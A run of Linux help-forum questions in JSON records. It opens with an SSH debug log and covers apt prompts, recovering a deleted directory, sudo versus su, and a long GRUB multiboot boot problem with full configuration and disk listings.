debug2: kex_parse_kexinit: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256 debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com debug2: kex_parse_kexinit: none,zlib@openssh.com debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_setup: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 128/256 debug2: bits set: 514/1024 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Server host key: RSA 12:1b:b5:5b:ab:f9:55:ed:e9:e9:56:cf:8c:a1:4c:4e debug3: put_host_port: [192.168.2.145]:22 debug3: put_host_port: [192.168.2.145]:22 debug3: load_hostkeys: loading entries for host \"[192.168.2.145]:22\" from file \"/Users/myuser/.ssh/known_hosts\" debug3: load_hostkeys: found key type RSA in file /Users/myuser/.ssh/known_hosts:1 debug3: load_hostkeys: loaded 1 keys debug3: load_hostkeys: loading entries for host \"[192.168.2.145]:22\" from file \"/Users/myuser/.ssh/known_hosts\" debug3: load_hostkeys: found key type RSA in file /Users/myuser/.ssh/known_hosts:1 debug3: load_hostkeys: loaded 1 keys debug1: Host '[192.168.2.145]:22' is known and matches the RSA host key. debug1: Found key in /Users/myuser/.ssh/known_hosts:1 debug2: bits set: 534/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /Users/myuser/.ssh/id_rsa (0x7ffeda40b940), debug2: key: /Users/myuser/.ssh/id_dsa (0x0), debug1: Authentications that can continue: publickey debug3: start over, passed a different list publickey debug3: preferred publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Offering RSA public key: /Users/myuser/.ssh/id_rsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug1: Server accepts key: pkalg ssh-rsa blen 279 debug2: input_userauth_pk_ok: fp 8e:81:e9:af:21:99:69:37:61:69:3a:76:b9:42:00:00 debug3: sign_and_send_pubkey: RSA 8e:81:e9:af:21:99:69:37:61:69:3a:76:b9:42:00:00 debug1: read PEM private key done: type RSA debug1: Authentication succeeded (publickey). Authenticated to 192.168.2.145 ([192.168.2.145]:22). debug1: channel 0: new [client-session] debug3: ssh_session2_open: channel_new: 0 debug2: channel 0: send open debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug2: callback start debug2: fd 3 setting TCP_NODELAY debug3: packet_set_tos: set IP_TOS 0x10 debug2: client_session2_setup: id 0 debug2: channel 0: request pty-req confirm 1 debug1: Sending environment. debug3: Ignored env PATH debug3: Ignored env TMPDIR debug3: Ignored env SHELL debug3: Ignored env HOME debug3: Ignored env USER debug3: Ignored env LOGNAME debug3: Ignored env SSH_AUTH_SOCK debug3: Ignored env Apple_PubSub_Socket_Render debug3: Ignored env DISPLAY debug3: Ignored env __CHECKFIX1436934 debug3: Ignored env __CF_USER_TEXT_ENCODING debug3: Ignored env SECURITYSESSIONID debug3: Ignored env TERM_PROGRAM debug3: Ignored env PWD debug1: Sending env LC_CTYPE = debug2: channel 0: request env confirm 0 debug3: Ignored env TERM debug3: Ignored env ITERM_SESSION_ID debug3: Ignored env ITERM_PROFILE debug3: Ignored env SHLVL debug3: Ignored env OLDPWD debug3: Ignored env GREP_OPTIONS debug3: Ignored env GREP_COLOR debug3: Ignored env PAGER debug3: Ignored env LESS debug3: Ignored env LSCOLORS debug3: Ignored env LS_COLORS debug1: Sending env LC_ALL = en_US.UTF-8 debug2: channel 0: request env confirm 0 debug1: Sending env LANG = en_US.UTF-8 debug2: channel 0: request env confirm 0 debug3: Ignored env _ debug2: channel 0: request shell confirm 1 debug2: callback done debug2: channel 0: open confirm rwindow 0 rmax 32768 debug2: channel_input_status_confirm: type 99 id 0 debug2: PTY allocation request accepted on channel 0 debug2: channel 0: rcvd adjust 2097152 debug2: channel_input_status_confirm: type 99 id 0 debug2: shell request accepted on channel 0"} {"_id": "106552", "title": "apt-get install without debconf prompt", "text": "I would like to install chef via apt non-interactively, but by default, apt installation brings up this prompt: ![apt install chef prompt](http://i.stack.imgur.com/Rs9Ly.png) Is there a way to skip this step during installation or pass a value to apt install? I'm only using chef-solo, so don't actually need the server componenent, so simply press return on this prompt."} {"_id": "109587", "title": "What was the old linux game for programmers, simulating a life on a grid of pixels?", "text": "I remember about 10 years ago in the official Linux repository there was a program, simulating a life of creatures on a grid of pixels (each occupying one pixel). The point of the \"game\" was in writing a code for the creatures, which could live and reproduce in this world (i.e. you edit the C++ source code and recompile the project to add a new creature). You could also decide a few parameters, e.g. how strong your creatures will be. However, all such \"good\" features came at a price of increased consumption of the creatures according to a predefined formula. After compiling you could run it, and observe your creatures, which are pixels on a (mostly) green rectangle (most of the \"world\" was \"occupied\" by something like grass). Observe, how the creatures live and reproduce or become extinct. Could anyone tell me, what could be the name of this \"game\"? **P.S.** Most probably it was in RedHat repository **P.P.S.** After some search I didn't find the original program. It seems, that the closest modern \"relative\" is Avida."} {"_id": "91297", "title": "How to undelete just deleted directory with \"rm -R\" command?", "text": "I deleted an important directory with `rm -R` command. This is an very populer host data. It was located `/var/zpanel/hostdata/ayrintilih` After remove ayrintilih directory has gone everything. I tried to undelete with `ext4magic` program. But it need to another hdd volume for recovery. Error message: ERROR: can not use \"/root/recoveried\" for recover directory. It's the same filesystem : \"/dev/dm-0\" My ISP just replied my request: Unfortunately there is no way to add another Volume to a virtual Instance. If it would be a dedicated Server, we could do it, but not in a Cloudserver. You could try to minimize the partition and create another one, that would count as another Volume. We also recommend to have allways a Backup for your Important files."} {"_id": "91294", "title": "How to see invisible items in Elementary OS Luna?", "text": "Nautilus is not the file manager anymore in Elementary OS Luna - or it has change name to Pantheon-files. Cannot find its settings. How to see invisible items?"} {"_id": "91295", "title": "Importing files from Windows to Linux", "text": "I would like to copy a CSV file from a Windows environment to a Linux environment. Both environments communicate through a terminal emulator called SecureCrt."} {"_id": "106558", "title": "Is there any point in using `sudo` when you are the sole user of your machine?", "text": "I'd like to know if there is any reason why I should use `sudo` instead of `su`, taking into account that I am the owner and sole user of my machine (and hence have root access whenever I want). Also, in case there is a good reason to prefer `sudo`, I want to know what privileges should I give myself. * * * **EDIT:** I have just found a very nice reference for `sudo`. If anyone is interested it is here."} {"_id": "91298", "title": "Why GRUB boots Debian 32-bits instead Ubuntu 64-bits in my multiboot configuration?", "text": "I installed Ubuntu GNOME Remix 64-bis on my system. I set the installer to reuse my `/boot` and `/home`. Since ubiquity (the Ubuntu installer) was giving me hard time installing GRUB I selected to \"Continue Without a Bootloader\" and since I installed/mounted `/boot` in my previous `/boot` I just had to do `update-grub` from Debian 32-bits and problem solved... sounds easy, but it isn't. The `update-grub` command detects Ubuntu in my other HD: sudo update-grub2 [sudo] password for braiam: Generating grub.cfg ... Found background image: /usr/share/images/desktop-base/desktop-grub.png Found linux image: /boot/vmlinuz-3.10-2-686-pae Found initrd image: /boot/initrd.img-3.10-2-686-pae Found linux image: /boot/vmlinuz-3.8.0-19-generic Found initrd image: /boot/initrd.img-3.8.0-19-generic Found memtest86+ image: /memtest86+.bin Found memtest86+ multiboot image: /memtest86+_multiboot.bin Found Ubuntu 13.04 (13.04) on /dev/sda1 Found Windows 7 (loader) on /dev/sdb1 done But when I select \"Ubuntu 13.04\" it boots into Debian. I check out the grub.cfg entries and see that the `root` and `UUID` values are set the same as Debian's. sudo grub-mkconfig Generating grub.cfg ... # # DO NOT EDIT THIS FILE # # It is automatically generated by grub-mkconfig using templates # from /etc/grub.d and settings from /etc/default/grub # ### BEGIN /etc/grub.d/00_header ### if [ -s $prefix/grubenv ]; then load_env fi set default=\"0\" if [ x\"${feature_menuentry_id}\" = xy ]; then menuentry_id_option=\"--id\" else menuentry_id_option=\"\" fi export menuentry_id_option if [ \"${prev_saved_entry}\" ]; then set saved_entry=\"${prev_saved_entry}\" save_env saved_entry set prev_saved_entry= save_env prev_saved_entry set boot_once=true fi function savedefault { if [ -z \"${boot_once}\" ]; then saved_entry=\"${chosen}\" save_env saved_entry fi } function load_video { if [ x$feature_all_video_module = xy ]; then insmod all_video else insmod efi_gop insmod efi_uga insmod ieee1275_fb insmod vbe insmod vga insmod video_bochs insmod video_cirrus fi } if [ x$feature_default_font_path = xy ] ; then font=unicode else insmod part_msdos insmod ext2 set root='hd0,msdos7' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos7 --hint-efi=hd1,msdos7 --hint-baremetal=ahci1,msdos7 --hint='hd0,msdos7' cead26d6-08f4-4894-ac78-a9a4ce59f773 else search --no-floppy --fs-uuid --set=root cead26d6-08f4-4894-ac78-a9a4ce59f773 fi font=\"/usr/share/grub/unicode.pf2\" fi if loadfont $font ; then set gfxmode=auto load_video insmod gfxterm set locale_dir=$prefix/locale set lang=en_US insmod gettext fi terminal_output gfxterm set timeout=5 ### END /etc/grub.d/00_header ### ### BEGIN /etc/grub.d/05_debian_theme ### insmod part_msdos insmod ext2 set root='hd0,msdos8' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos8 --hint-efi=hd1,msdos8 --hint-baremetal=ahci1,msdos8 --hint='hd0,msdos8' 0cef2d59-21ca-4ba2-a9b2-0b9ef1f42589 else search --no-floppy --fs-uuid --set=root 0cef2d59-21ca-4ba2-a9b2-0b9ef1f42589 fi Found background image: /usr/share/images/desktop-base/desktop-grub.png insmod png if background_image /braiam/.cache/gnome-control-center/backgrounds/14fb12e1345ca2dfd3807e7f7b1122b0d6015d9453ed5742de72b988a9cffded; then set color_normal=white/black set color_highlight=black/white else set menu_color_normal=cyan/blue set menu_color_highlight=white/blue fi ### END /etc/grub.d/05_debian_theme ### ### BEGIN /etc/grub.d/10_linux ### Found linux image: /boot/vmlinuz-3.10-2-686-pae Found initrd image: /boot/initrd.img-3.10-2-686-pae menuentry 'Debian GNU/Linux' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.10-2-686-pae ...' linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 echo 'Loading initial ramdisk ...' initrd /initrd.img-3.10-2-686-pae } submenu 'Advanced options for Debian GNU/Linux' $menuentry_id_option 'gnulinux-advanced-cead26d6-08f4-4894-ac78-a9a4ce59f773' { menuentry 'Debian GNU/Linux, with Linux 3.10-2-686-pae' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.10-2-686-pae-advanced-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.10-2-686-pae ...' linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 echo 'Loading initial ramdisk ...' initrd /initrd.img-3.10-2-686-pae } menuentry 'Debian GNU/Linux, with Linux 3.10-2-686-pae (recovery mode)' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.10-2-686-pae-recovery-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.10-2-686-pae ...' linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz echo 'Loading initial ramdisk ...' initrd /initrd.img-3.10-2-686-pae } Found linux image: /boot/vmlinuz-3.8.0-19-generic Found initrd image: /boot/initrd.img-3.8.0-19-generic menuentry 'Debian GNU/Linux, with Linux 3.8.0-19-generic' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.8.0-19-generic-advanced-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.8.0-19-generic ...' linux /vmlinuz-3.8.0-19-generic root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 echo 'Loading initial ramdisk ...' initrd /initrd.img-3.8.0-19-generic } menuentry 'Debian GNU/Linux, with Linux 3.8.0-19-generic (recovery mode)' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.8.0-19-generic-recovery-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.8.0-19-generic ...' linux /vmlinuz-3.8.0-19-generic root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz echo 'Loading initial ramdisk ...' initrd /initrd.img-3.8.0-19-generic } } ### END /etc/grub.d/10_linux ### ### BEGIN /etc/grub.d/20_linux_xen ### ### END /etc/grub.d/20_linux_xen ### ### BEGIN /etc/grub.d/20_memtest86+ ### Found memtest86+ image: /memtest86+.bin menuentry \"Memory test (memtest86+)\" { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux16 /memtest86+.bin } menuentry \"Memory test (memtest86+, serial console 115200)\" { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux16 /memtest86+.bin console=ttyS0,115200n8 } Found memtest86+ multiboot image: /memtest86+_multiboot.bin menuentry \"Memory test (memtest86+, experimental multiboot)\" { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi multiboot /memtest86+_multiboot.bin } menuentry \"Memory test (memtest86+, serial console 115200, experimental multiboot)\" { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi multiboot /memtest86+_multiboot.bin console=ttyS0,115200n8 } ### END /etc/grub.d/20_memtest86+ ### ### BEGIN /etc/grub.d/30_os-prober ### Found Ubuntu 13.04 (13.04) on /dev/sda1 menuentry 'Ubuntu 13.04 (13.04)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-simple-bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 initrd /initrd.img-3.10-2-686-pae } submenu 'Advanced options for Ubuntu 13.04 (13.04)' $menuentry_id_option 'osprober-gnulinux-advanced-bf554a2f-a035-4c22-bca8-162def35a03c' { menuentry 'Debian GNU/Linux (on /dev/sda1)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-/vmlinuz-3.10-2-686-pae--bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 initrd /initrd.img-3.10-2-686-pae } menuentry 'Debian GNU/Linux, with Linux 3.10-2-686-pae (on /dev/sda1)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-/vmlinuz-3.10-2-686-pae--bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 initrd /initrd.img-3.10-2-686-pae } menuentry 'Debian GNU/Linux, with Linux 3.10-2-686-pae (recovery mode) (on /dev/sda1)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-/vmlinuz-3.10-2-686-pae-root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz-bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz initrd /initrd.img-3.10-2-686-pae } menuentry 'Debian GNU/Linux, with Linux 3.8.0-19-generic (on /dev/sda1)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-/vmlinuz-3.8.0-19-generic--bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.8.0-19-generic root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 initrd /initrd.img-3.8.0-19-generic } menuentry 'Debian GNU/Linux, with Linux 3.8.0-19-generic (recovery mode) (on /dev/sda1)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-/vmlinuz-3.8.0-19-generic-root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz-bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.8.0-19-generic root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz initrd /initrd.img-3.8.0-19-generic } menuentry 'Ubuntu 13.04 (13.04) (on /dev/sda1)' --class gnu-linux --class gnu --class os $menuentry_id_option 'osprober-gnulinux-/vmlinuz-3.10-2-686-pae--bf554a2f-a035-4c22-bca8-162def35a03c' { insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos5 --hint-efi=hd1,msdos5 --hint-baremetal=ahci1,msdos5 --hint='hd0,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux /vmlinuz-3.10-2-686-pae root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet radeon.hw_i2c=1 initrd /initrd.img-3.10-2-686-pae } } Found Windows 7 (loader) on /dev/sdb1 menuentry 'Windows 7 (loader) (on /dev/sdb1)' --class windows --class os $menuentry_id_option 'osprober-chain-AA64B45A64B42AC9' { insmod part_msdos insmod ntfs set root='hd0,msdos1' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos1 --hint-efi=hd1,msdos1 --hint-baremetal=ahci1,msdos1 --hint='hd0,msdos1' AA64B45A64B42AC9 else search --no-floppy --fs-uuid --set=root AA64B45A64B42AC9 fi chainloader +1 } ### END /etc/grub.d/30_os-prober ### ### BEGIN /etc/grub.d/30_uefi-firmware ### ### END /etc/grub.d/30_uefi-firmware ### ### BEGIN /etc/grub.d/40_custom ### # This file provides an easy way to add custom menu entries. Simply type the # menu entries you want to add after this comment. Be careful not to change # the 'exec tail' line above. ### END /etc/grub.d/40_custom ### ### BEGIN /etc/grub.d/41_custom ### if [ -f ${config_directory}/custom.cfg ]; then source ${config_directory}/custom.cfg elif [ -z \"${config_directory}\" -a -f $prefix/custom.cfg ]; then source $prefix/custom.cfg; fi ### END /etc/grub.d/41_custom ### done I could edit the entry at hand, but the fine \"DO NOT EDIT THIS FILE\" that the grub.cfg has at the start held me back. Should I edit this entries by hand, create a custom script, or I'm just doomed? `ls /boot` of the main disk: ls /boot/ abi-3.8.0-19-generic initrd.img-3.8.0-19-generic System.map-3.8.0-19-generic config-3.10-2-686-pae iso vmlinuz-3.10-2-686-pae config-3.8.0-19-generic lost+found vmlinuz-3.8.0-19-generic extlinux memtest86+.bin vmlinuz-3.8.0-19-generic.efi.signed grub memtest86+_multiboot.bin initrd.img-3.10-2-686-pae System.map-3.10-2-686-pae `ls /boot` of the disk where I installed Ubuntu: ls /media/braiam/bf554a2f-a035-4c22-bca8-162def35a03c/boot/ grub initrd.img-3.8.0-19-generic.new `blkid` blkid /dev/sda1: UUID=\"bf554a2f-a035-4c22-bca8-162def35a03c\" TYPE=\"ext4\" #here Ubuntu /dev/sda2: UUID=\"7cb917ba-babb-42cd-897e-2070d540eda4\" TYPE=\"swap\" /dev/sdb1: UUID=\"AA64B45A64B42AC9\" TYPE=\"ntfs\" /dev/sdb2: UUID=\"F66E431C6E42D551\" TYPE=\"ntfs\" /dev/sdb3: UUID=\"75a0854b-8b6b-453f-8aec-2a081a1f19e3\" TYPE=\"swap\" /dev/sdb5: UUID=\"279a18da-130b-46dd-8b54-84da48eb445f\" TYPE=\"ext4\" #Here boot /dev/sdb6: UUID=\"393cd35e-b827-4dea-acb5-2a66f2369dce\" TYPE=\"swap\" /dev/sdb7: UUID=\"cead26d6-08f4-4894-ac78-a9a4ce59f773\" TYPE=\"ext4\" #here Debian /dev/sdb8: UUID=\"0cef2d59-21ca-4ba2-a9b2-0b9ef1f42589\" TYPE=\"ext4\" `fdisk -l`: sudo fdisk -l [sudo] password for braiam: Disk /dev/sda: 13.7 GB, 13701316608 bytes 255 heads, 63 sectors/track, 1665 cylinders, total 26760384 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x8e48c4c5 Device Boot Start End Blocks Id System /dev/sda1 2104515 26749046 12322266 83 Linux (here is Ubuntu) /dev/sda2 63 2104514 1052226 82 Linux swap / Solaris Partition table entries are not in disk order Disk /dev/sdb: 200.0 GB, 200049647616 bytes 255 heads, 63 sectors/track, 24321 cylinders, total 390721968 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x1549f232 Device Boot Start End Blocks Id System 